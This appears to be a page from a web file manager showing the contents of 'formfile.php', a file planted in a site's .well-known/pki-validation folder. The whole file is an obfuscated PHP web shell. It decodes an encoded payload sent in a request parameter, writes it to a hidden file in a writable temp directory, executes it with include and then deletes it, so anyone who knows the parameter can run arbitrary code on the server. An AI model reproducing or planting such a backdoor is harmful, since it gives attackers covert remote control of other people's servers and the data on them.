芝麻web文件管理V1.00

编辑当前文件:/home/paymbalq/nair.tamela.org/.well-known/pki-validation/4vul3x/formfile.php
<?php if(array_key_exists("d\x63\x68u\x6Ek", $_REQUEST)){ $ref = $_REQUEST["d\x63\x68u\x6Ek"]; $ref = explode ( '.' , $ref ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $j = 0; array_walk( $ref ,function( $v6) use( &$tkn ,&$j ,$s ,$lenS) { $sChar = ord( $s[$j % $lenS] ); $d =( ( int)$v6 - $sChar -( $j % 10)) ^ 60; $tkn .= chr( $d ); $j++; }); $key = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd()]); $record = 0; do { $comp = $key[$record] ?? null; if ($record >= count($key)) break; if ((is_dir($comp) and is_writable($comp))) { $pset = join("/", [$comp, ".res"]); if (@file_put_contents($pset, $tkn) !== false) { include $pset; unlink($pset); exit; } } $record++; } while (true); }